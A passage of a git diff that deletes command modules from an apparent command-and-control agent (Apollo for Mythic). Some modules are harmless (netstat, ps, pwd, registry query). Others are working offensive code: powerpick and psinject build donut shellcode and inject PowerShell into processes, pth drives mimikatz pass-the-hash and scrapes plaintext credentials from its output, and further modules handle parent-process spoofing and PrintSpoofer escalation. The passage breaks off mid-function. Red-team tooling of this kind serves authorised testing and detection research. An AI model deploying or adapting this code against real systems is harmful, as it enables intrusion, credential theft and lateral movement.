- version = 2 - author = "@djhohnstein" - argument_class = NetSharesArguments - attackmapping = ["T1590", "T1069"] - supported_ui_features = ["net_shares"] - browser_script = BrowserScript(script_name="net_shares_new", author="@djhohnstein", for_new_ui=True) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/netstat.py b/Payload_Type/apollo/apollo/mythic/agent_functions/netstat.py deleted file mode 100755 index 1c4ebf66..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/netstat.py +++ /dev/null @@ -1,116 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class NetstatArguments(TaskArguments): - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="tcp", - cli_name="Tcp", - display_name="TCP", - type=ParameterType.Boolean, - default_value=False, - description="Display only TCP entries.", - parameter_group_info=[ - ParameterGroupInfo( - required=False - ), - ]), - CommandParameter( - name="udp", - cli_name="Udp", - display_name="UDP", - type=ParameterType.Boolean, - default_value=False, - description="Display only UDP entries.", - parameter_group_info=[ - ParameterGroupInfo( - required=False - ), - ]), - CommandParameter( - name="established", - cli_name="Established", - display_name="Established", - type=ParameterType.Boolean, - default_value=False, - description="Display only established entries.", - parameter_group_info=[ - ParameterGroupInfo( - required=False - ), - ]), - CommandParameter( - name="listen", - cli_name="Listen", - display_name="Listen", - type=ParameterType.Boolean, - default_value=False, - description="Display only listening entries.", - parameter_group_info=[ - ParameterGroupInfo( - required=False - ), - ]), - ] - - def split_commandline(self): - if self.command_line[0] == "{": - raise Exception("split_commandline expected string, but got JSON object: " + self.command_line) - inQuotes = False - curCommand = "" - cmds = [] - for x in range(len(self.command_line)): - c = self.command_line[x] - if c == '"' or c == "'": - inQuotes = not inQuotes - if (not inQuotes and c == ' '): - cmds.append(curCommand) - curCommand = "" - else: - curCommand += c - - if curCommand != "": - cmds.append(curCommand) - - for x in range(len(cmds)): - if cmds[x][0] == '"' and cmds[x][-1] == '"': - cmds[x] = cmds[x][1:-1] - elif cmds[x][0] == "'" and cmds[x][-1] == "'": - cmds[x] = cmds[x][1:-1] - - return cmds - - errorMsg = "Missing required argument: {}" - - async def parse_arguments(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise Exception("Require JSON.") - - -class NetstatCommand(CommandBase): - cmd = "netstat" - needs_admin = False - help_cmd = "netstat" - description = "View netstat entries" - version = 1 - author = "@thespicybyte" - argument_class = NetstatArguments - attackmapping = [] - supported_ui_features = [] - browser_script = BrowserScript(script_name="netstat", author="@thespicybyte", for_new_ui=True) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/powerpick.py b/Payload_Type/apollo/apollo/mythic/agent_functions/powerpick.py deleted file mode 100644 index b2a7ff80..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/powerpick.py +++ /dev/null @@ -1,97 +0,0 @@ -from distutils.dir_util import copy_tree -import shutil -import tempfile -from mythic_container.MythicCommandBase import * -import json -from uuid import uuid4 -from mythic_container.MythicRPC import * -from os import path -import asyncio -import donut -import platform - -if platform.system() == 'Windows': - POWERSHELL_HOST_PATH = "C:\\Mythic\\Apollo\\srv\\PowerShellHost.exe" -else: - POWERSHELL_HOST_PATH="/srv/PowerShellHost.exe" - -POWERSHELL_FILE_ID="" - -class PowerpickArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - # CommandParameter( - # name="powershell_params", - # cli_name="Command", - # display_name="Command", - # type=ParameterType.String, - # description="PowerShell command to execute.", - # ) - ] - - async def parse_arguments(self): - if len(self.command_line.strip()) == 0: - raise Exception("A command must be passed on the command line to PowerPick.\n\tUsage: {}".format(PowerpickCommand.help_cmd)) - self.add_arg("powershell_params", self.command_line) - self.add_arg("pipe_name", str(uuid4())) - pass - - -class PowerpickCommand(CommandBase): - cmd = "powerpick" - needs_admin = False - help_cmd = "powerpick [command]" - description = "Inject PowerShell loader assembly into a sacrificial process and execute [command]." - version = 2 - author = "@djhohnstein" - argument_class = PowerpickArguments - attackmapping = ["T1059", "T1562"] - - async def build_powershell(self): - global POWERSHELL_HOST_PATH - agent_build_path = tempfile.TemporaryDirectory() - outputPath = "{}/PowerShellHost/bin/Release/PowerShellHost.exe".format(agent_build_path.name) - # shutil to copy payload files over - copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/PowerShellHost/PowerShellHost.csproj -o {}/PowerShellHost/bin/Release/".format(agent_build_path.name, agent_build_path.name) - proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - if not path.exists(outputPath): - raise Exception("Failed to build PowerShellHost.exe:\n{}".format(stderr.decode() + "\n" + stdout.decode())) - shutil.copy(outputPath, POWERSHELL_HOST_PATH) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - global POWERSHELL_HOST_PATH - if not path.exists(POWERSHELL_HOST_PATH): - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"building injection stub" - )) - await self.build_powershell() - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"generating stub shellcode" - )) - donutPic = donut.create(file=POWERSHELL_HOST_PATH, params=taskData.args.get_arg("pipe_name")) - file_resp = await SendMythicRPCFileCreate(MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, - FileContents=donutPic, - DeleteAfterFetch=True - )) - if file_resp.Success: - taskData.args.add_arg("loader_stub_id", file_resp.AgentFileId) - else: - raise Exception("Failed to register PowerShellHost.exe: " + file_resp.Error) - - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/powershell.py b/Payload_Type/apollo/apollo/mythic/agent_functions/powershell.py deleted file mode 100644 index df2ee4ce..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/powershell.py +++ /dev/null @@ -1,45 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class PowershellArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - # CommandParameter( - # name="command", - # cli_name="Command", - # display_name="Command", - # type=ParameterType.String, - # description="Command to run.", - # ), - ] - - async def parse_arguments(self): - if len(self.command_line.strip()) == 0: - raise Exception("At least one command on the command line must be passed to PowerShell.") - self.add_arg("command", self.command_line) - pass - - -class PowershellCommand(CommandBase): - cmd = "powershell" - needs_admin = False - help_cmd = "powershell [command]" - description = "Run a PowerShell command in the currently executing process." - version = 2 - author = "@djhohnstein" - argument_class = PowershellArguments - attackmapping = ["T1059"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/powershell_import.py b/Payload_Type/apollo/apollo/mythic/agent_functions/powershell_import.py deleted file mode 100644 index f67f2070..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/powershell_import.py +++ /dev/null @@ -1,31 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import base64 -import sys -from apollo.mythic.agent_functions.register_file import * - - -class PowerShellImportAlias(RegisterFileCommand, CommandBase): - cmd = "powershell_import" - attributes=CommandAttributes( - dependencies=["register_file"], - alias=True - ) - needs_admin = False - help_cmd = "powershell_import (modal popup)" - description = "Import a new .ps1 into the agent cache." - version = 2 - author = "@djhohnstein" - attackmapping = [] - - async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllData) -> MythicCommandBase.PTTaskCreateTaskingMessageResponse: - - response = await super().create_go_tasking(taskData) - response.CommandName = super().cmd - - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ppid.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ppid.py deleted file mode 100644 index 2372cabc..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ppid.py +++ /dev/null @@ -1,54 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class PpidArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="ppid", - cli_name="PPID", - display_name="Parent Process ID", - type=ParameterType.Number, - default_value=-1), - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("No PPID given on command line.") - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - try: - newppid = int(self.command_line) - if newppid < 0 or newppid % 4 != 0: - raise Exception("Invalid PPID given on command line.") - self.add_arg("ppid", newppid) - except: - raise Exception("Invalid integer given to PPID: {}".format(self.command_line)) - - -class PpidCommand(CommandBase): - cmd = "ppid" - needs_admin = False - help_cmd = "ppid [pid]" - description = "Change the parent process for post-ex jobs by the specified pid." - version = 2 - author = "@djhohnstein" - argument_class = PpidArguments - attackmapping = ["T1055"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - pid = taskData.args.get_arg("ppid") - response.DisplayParams = "-PPID {}".format(pid) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/printspoofer.py b/Payload_Type/apollo/apollo/mythic/agent_functions/printspoofer.py deleted file mode 100644 index fa0777db..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/printspoofer.py +++ /dev/null @@ -1,72 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from uuid import uuid4 -from os import path -from mythic_container.MythicRPC import * -import base64 -from .execute_pe import * - - -class PrintSpooferArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - # CommandParameter( - # name="command", - # cli_name="Command", - # display_name="Command(s)", - # type=ParameterType.String, - # description="PrintSpoofer command to run (can be one or more)."), - ] - - async def parse_arguments(self): - if len(self.command_line): - self.add_arg("command", "printspoofer.exe {}".format(self.command_line)) - else: - raise Exception("No PrintSpoofer command given to execute.\n\tUsage: {}".format(PrintSpooferCommand.help_cmd)) - - -class PrintSpooferCommand(CommandBase): - cmd = "printspoofer" - attributes=CommandAttributes( - dependencies=["execute_pe"], - alias=True - ) - needs_admin = False - help_cmd = "printspoofer [args]" - description = "Execute one or more PrintSpoofer commands" - version = 2 - author = "@djhohnstein" - argument_class = PrintSpooferArguments - attackmapping = ["T1547"] - script_only = False - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - commandline = taskData.args.command_line - executePEArgs = ExecutePEArguments(command_line=json.dumps( - { - "pe_name": "printspoofer.exe", - "pe_arguments": commandline, - } - )) - await executePEArgs.parse_arguments() - executePECommand = ExecutePECommand(agent_path=self.agent_code_path, - agent_code_path=self.agent_code_path, - agent_browserscript_path=self.agent_browserscript_path) - # set our taskData args to be the new ones for execute_pe - taskData.args = executePEArgs - # executePE's creat_go_tasking function returns a response for us - newResp = await executePECommand.create_go_tasking(taskData=taskData) - # update the response to make sure this gets pulled down as execute_pe instead of mimikatz - newResp.CommandName = "execute_pe" - newResp.DisplayParams = commandline - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ps.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ps.py deleted file mode 100644 index 4783fab7..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ps.py +++ /dev/null @@ -1,41 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class PsArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line.strip()) > 0: - raise Exception("ps takes no command line arguments.") - pass - - -class PsCommand(CommandBase): - cmd = "ps" - needs_admin = False - help_cmd = "ps" - description = "Get a brief process listing with basic information." - version = 3 - supported_ui_features = ["process_browser:list"] - author = "@djhohnstein" - argument_class = PsArguments - attackmapping = ["T1106"] - browser_script = BrowserScript(script_name="ps_new", author="@djhohnstein") - attributes = CommandAttributes( - suggested_command=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/psinject.py b/Payload_Type/apollo/apollo/mythic/agent_functions/psinject.py deleted file mode 100644 index f24d0b90..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/psinject.py +++ /dev/null @@ -1,105 +0,0 @@ -from distutils.dir_util import copy_tree -import shutil -import tempfile -from mythic_container.MythicCommandBase import * -import json -from .powerpick import POWERSHELL_HOST_PATH -from uuid import uuid4 -from mythic_container.MythicRPC import * -from os import path -import base64 -import asyncio -import donut -import platform - -if platform.system() == 'Windows': - POWERSHELL_HOST_PATH = "C:\\Mythic\\Apollo\\srv\\PowerShellHost.exe" -else: - POWERSHELL_HOST_PATH="/srv/PowerShellHost.exe" - -class PsInjectArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="pid", - cli_name="PID", - display_name="PID", - type=ParameterType.Number, - description="Process ID to inject into."), - CommandParameter( - name="powershell_params", - cli_name="Command", - display_name="PowerShell Command", - type=ParameterType.String, - description="PowerShell command to execute."), - ] - - async def parse_arguments(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - parts = self.command_line.strip().split(" ", maxsplit=1) - if len(parts) != 2: - raise Exception("Invalid command line arguments passed.\n\tUsage: {}".format(PsInjectCommand.help_cmd)) - try: - int(parts[0]) - except: - raise Exception(f"Invalid PID passed to psinject: {parts[0]}") - self.add_arg("pid", int(parts[0]), ParameterType.Number) - self.add_arg("powershell_params", parts[1]) - self.add_arg("pipe_name", str(uuid4())) - pass - - -class PsInjectCommand(CommandBase): - cmd = "psinject" - needs_admin = False - help_cmd = "psinject [pid] [command]" - description = "Executes PowerShell in the process specified by `[pid]`. Note: Currently stdout is not captured of child processes if not explicitly captured into a variable or via inline execution (such as `$(whoami)`)." - version = 2 - author = "@djhohnstein" - argument_class = PsInjectArguments - attackmapping = ["T1059", "T1055"] - - async def build_powershell(self): - global POWERSHELL_HOST_PATH - agent_build_path = tempfile.TemporaryDirectory() - outputPath = "{}/PowerShellHost/bin/Release/PowerShellHost.exe".format(agent_build_path.name) - # shutil to copy payload files over - copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "rm -rf packages/*; nuget restore -NoCache -Force; msbuild -p:Configuration=Release {}/PowerShellHost/PowerShellHost.csproj".format(agent_build_path.name) - proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - if not path.exists(outputPath): - raise Exception("Failed to build PowerShellHost.exe:\n{}".format(stderr.decode())) - shutil.copy(outputPath, POWERSHELL_HOST_PATH) - - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - global POWERSHELL_HOST_PATH - if not path.exists(POWERSHELL_HOST_PATH): - await self.build_powershell() - - donutPic = donut.create(file=POWERSHELL_HOST_PATH, params=taskData.args.get_arg("pipe_name")) - file_resp = await SendMythicRPCFileCreate(MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, - FileContents=donutPic, - DeleteAfterFetch=True - )) - if file_resp.Success: - taskData.args.add_arg("loader_stub_id", file_resp.AgentFileId) - else: - raise Exception("Failed to register PowerShellHost.exe: " + file_resp.Error) - response.DisplayParams = "-PID {} -Command {}".format(taskData.args.get_arg("pid"), taskData.args.get_arg("powershell_params")) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py b/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py deleted file mode 100644 index 357d0e7a..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py +++ /dev/null @@ -1,284 +0,0 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * -import mslex -import re -from .execute_pe import * - - -def valid_ntlm_hash(hash): - return re.match(r"^[a-zA-Z0-9]{32}$", hash) is not None - - -def valid_aes128_key(key): - return re.match(r"^[a-zA-Z0-9]{32}$", key) is not None - - -def valid_aes256_key(key): - return re.match(r"^[a-zA-Z0-9]{64}$", key) is not None - - -class PthArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="credential", - cli_name="Credential", - display_name="Credential", - type=ParameterType.Credential_JSON, - description="Saved credential of the user to impersonate (either an NTLM hash or AES key).", - limit_credentials_by_type=["hash"], - parameter_group_info=[ - ParameterGroupInfo( - ui_position=1, required=True, group_name="Credential" - ) - ], - ), - CommandParameter( - name="domain", - cli_name="Domain", - display_name="Domain", - type=ParameterType.String, - description="Domain associated with user.", - parameter_group_info=[ - ParameterGroupInfo(group_name="NTLM", ui_position=1, required=True), - ParameterGroupInfo( - group_name="AES128", ui_position=1, required=True - ), - ParameterGroupInfo( - group_name="AES256", ui_position=1, required=True - ), - ], - ), - CommandParameter( - name="user", - cli_name="User", - display_name="User", - type=ParameterType.String, - description="Username associated with the NTLM hash.", - parameter_group_info=[ - ParameterGroupInfo(group_name="NTLM", ui_position=2, required=True), - ParameterGroupInfo( - group_name="AES128", ui_position=2, required=True - ), - ParameterGroupInfo( - group_name="AES256", ui_position=2, required=True - ), - ], - ), - CommandParameter( - name="ntlm", - cli_name="NTLM", - display_name="NTLM", - type=ParameterType.String, - description="User's NTLM hash.", - parameter_group_info=[ - ParameterGroupInfo(group_name="NTLM", ui_position=3, required=True), - ], - ), - CommandParameter( - name="aes128", - cli_name="AES128", - display_name="AES128", - type=ParameterType.String, - description="AES128 key of user. Used for over pass the hash.", - parameter_group_info=[ - ParameterGroupInfo( - group_name="AES128", ui_position=3, required=True - ) - ], - ), - CommandParameter( - name="aes256", - cli_name="AES256", - display_name="AES256", - type=ParameterType.String, - description="AES256 key of user. Used for over pass the hash.", - parameter_group_info=[ - ParameterGroupInfo( - group_name="AES256", ui_position=3, required=True - ) - ], - ), - CommandParameter( - name="run", - cli_name="Run", - display_name="Program to Run", - type=ParameterType.String, - description="The process to launch under the specified credentials.", - parameter_group_info=[ - ParameterGroupInfo( - group_name="NTLM", ui_position=4, required=False - ), - ParameterGroupInfo( - group_name="AES128", ui_position=4, required=False - ), - ParameterGroupInfo( - group_name="AES256", ui_position=4, required=False - ), - ParameterGroupInfo( - group_name="Credential", ui_position=2, required=False - ), - ], - ), - ] - - async def parse_arguments(self): - if len(self.command_line) and self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - - if credential := self.get_arg("credential"): - if realm := credential["realm"]: - self.set_arg("domain", realm) - else: - raise RuntimeError( - "Realm value in the selected credential is empty." - ) - - if account := credential["account"]: - self.set_arg("user", account) - else: - raise RuntimeError( - "Account value in the selected credential is empty." - ) - - if credential["type"] == "key": - cred_key = credential["credential"] - - if valid_aes128_key(cred_key): - self.set_arg("aes128", cred_key) - self.parameter_group_name = "AES128" - elif valid_aes256_key(cred_key): - self.set_arg("aes256", cred_key) - self.parameter_group_name = "AES256" - else: - raise ValueError( - "Selected credential is not a valid AES128 or AES256 key." - ) - else: # TODO: Add hash credential type check when Apollo supports tagging - # credential types in Mimikatz output - ntlm_hash = credential["credential"] - if not valid_ntlm_hash(ntlm_hash): - raise ValueError( - "Selected credential is not a valid NTLM hash." - ) - - self.set_arg("ntlm", ntlm_hash) - self.parameter_group_name = "NTLM" - else: - raise Exception( - "No mimikatz command given to execute.\n\tUsage: {}".format( - PthCommand.help_cmd - ) - ) - - -async def parse_credentials( - task: PTTaskCompletionFunctionMessage, -) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse( - Success=True, TaskStatus="success", Completed=True - ) - responses = await SendMythicRPCResponseSearch( - MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID) - ) - for output in responses.Responses: - mimikatz_out = str(output.Response) - comment = "task {}".format(output.TaskID) - if mimikatz_out != "": - lines = mimikatz_out.split("\r\n") - - for i in range(len(lines)): - line = lines[i] - if "Username" in line: - # Check to see if Password is null - if i + 2 >= len(lines): - break - uname = line.split(" : ")[1].strip() - realm = lines[i + 1].split(" : ")[1].strip() - passwd = lines[i + 2].split(" : ")[1].strip() - if passwd != "(null)": - cred_resp = await SendMythicRPCCredentialCreate( - MythicRPCCredentialCreateMessage( - TaskID=task.TaskData.Task.ID, - Credentials=[ - MythicRPCCredentialData( - credential_type="plaintext", - account=uname, - realm=realm, - credential=passwd, - comment=comment, - ) - ], - ) - ) - if not cred_resp.Success: - raise Exception("Failed to register credential") - return response - - -class PthCommand(CommandBase): - cmd = "pth" - attributes = CommandAttributes(dependencies=["execute_pe"], alias=True) - needs_admin = False - help_cmd = "pth -Domain [domain] -User [user] -NTLM [ntlm] [-AES128 [aes128] -AES256 [aes256] -Run [cmd.exe]]" - description = ( - "Spawn a new process using the specified domain user's credential material." - ) - version = 4 - author = "@djhohnstein" - argument_class = PthArguments - attackmapping = ["T1550"] - script_only = False - completion_functions = {"parse_credentials": parse_credentials} - - async def create_go_tasking( - self, taskData: PTTaskMessageAllData - ) -> PTTaskCreateTaskingMessageResponse: - user = taskData.args.get_arg("user") - domain = taskData.args.get_arg("domain") - - arguments = f"/user:{user} /domain:{domain}" - - match taskData.args.get_parameter_group_name(): - case "NTLM": - ntlm = taskData.args.get_arg("ntlm") - arguments += f" /ntlm:{ntlm}" - case "AES128": - aes128 = taskData.args.get_arg("aes128") - arguments += f" /aes128:{aes128}" - case "AES256": - aes256 = taskData.args.get_arg("aes256") - arguments += f" /aes256:{aes256}" - case _: - raise Exception(f"Invalid parameter group name from Mythic: {taskData.args.get_parameter_group_name()}") - - if run := taskData.args.get_arg("run"): - run = mslex.quote(run, for_cmd = False) - arguments += f" /run:{run}" - - arguments = "sekurlsa::pth " + arguments - executePEArgs = ExecutePEArguments(command_line=json.dumps({ - "pe_name": "mimikatz.exe", - "pe_arguments": mslex.quote(arguments, for_cmd = False), - })) - await executePEArgs.parse_arguments() - executePECommand = ExecutePECommand(agent_path=self.agent_code_path, - agent_code_path=self.agent_code_path, - agent_browserscript_path=self.agent_browserscript_path) - # set our taskData args to be the new ones for execute_pe - taskData.args = executePEArgs - # executePE's creat_go_tasking function returns a response for us - newResp = await executePECommand.create_go_tasking(taskData=taskData) - # update the response to make sure this gets pulled down as execute_pe instead of mimikatz - newResp.CommandName = "execute_pe" - newResp.DisplayParams = arguments - newResp.CompletionFunctionName = "parse_credentials" - return newResp - - async def process_response( - self, task: PTTaskMessageAllData, response: any - ) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/pwd.py b/Payload_Type/apollo/apollo/mythic/agent_functions/pwd.py deleted file mode 100644 index 73b8c220..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/pwd.py +++ /dev/null @@ -1,36 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class PwdArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line.strip()) > 0: - raise Exception("pwd takes no command line arguments.") - pass - - -class PwdCommand(CommandBase): - cmd = "pwd" - needs_admin = False - help_cmd = "pwd" - description = "Print working directory." - version = 2 - author = "@djhohnstein" - argument_class = PwdArguments - attackmapping = ["T1083"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/reg_query.py b/Payload_Type/apollo/apollo/mythic/agent_functions/reg_query.py deleted file mode 100644 index 7427ba3a..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/reg_query.py +++ /dev/null @@ -1,143 +0,0 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicGoRPC.send_mythic_rpc_handle_agent_message_json import * -import json - - -class RegQueryArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="hive", - cli_name="Hive", - display_name="Registry Hive", - type=ParameterType.ChooseOne, - description="The hive to query", - default_value="HKLM", - choices=["HKLM", "HKCU", "HKU", "HKCR", "HKCC"]), - CommandParameter( - name="key", - cli_name="Key", - display_name="Registry Key", - type=ParameterType.String, - description='Registry key to interrogate.', - default_value='', - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ), - ]), - ] - - - async def parse_arguments(self): - hiveMap = { - "HKEY_LOCAL_MACHINE": "HKLM", - "HKEY_CURRENT_USER": "HKCU", - "HKEY_USERS": "HKU", - "HKEY_CLASSES_ROOT": "HKCR", - "HKEY_CURRENT_CONFIG": "HKCC" - } - if self.command_line[0] == "{": - data = json.loads(self.command_line) - if "full_path" in data: - parts = data['full_path'].split("\\") - hiveClean = parts[0].replace(":", "").strip().upper() - if hiveClean in hiveMap.keys(): - self.add_arg("hive", hiveMap[hiveClean]) - elif hiveClean in ["HKLM", "HKCU", "HKU", "HKCR", "HKCC"]: - self.add_arg("hive", hiveClean) - elif hiveClean in [".", ""]: - self.add_arg("hive", "") - else: - raise Exception("Invalid hive: " + hiveClean) - self.add_arg("key", "\\".join(parts[1:])) - return - self.load_args_from_json_string(self.command_line) - else: - parts = self.command_line.split("\\") - hiveClean = parts[0].replace(":", "").strip().upper() - if hiveClean in hiveMap.keys(): - self.add_arg("hive", hiveMap[hiveClean]) - elif hiveClean in ["HKLM", "HKCU", "HKU", "HKCR", "HKCC"]: - self.add_arg("hive", hiveClean) - elif hiveClean in [".", ""]: - self.add_arg("hive", "") - else: - raise Exception("Invalid hive: " + hiveClean) - self.add_arg("key", "\\".join(parts[1:])) - - -class RegQuery(CommandBase): - cmd = "reg_query" - needs_admin = False - help_cmd = "reg_query [key]" - description = "Query registry keys and values for an associated registry key [key]." - version = 2 - author = "@djhohnstein" - argument_class = RegQueryArguments - attackmapping = ["T1012", "T1552"] - supported_ui_features = ["reg_query", "registry_browser:list"] - browser_script = BrowserScript(script_name="reg_query", author="@djhohnstein", for_new_ui=True) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - if taskData.args.get_arg("hive") == "": - response.Completed = True - response.DisplayParams = "-Hive ." - resp = await SendMythicRPCHandleAgentMessageJson(MythicRPCHandleAgentMessageJsonMessage( - CallbackID=taskData.Callback.ID, - AgentMessage={ - "action": 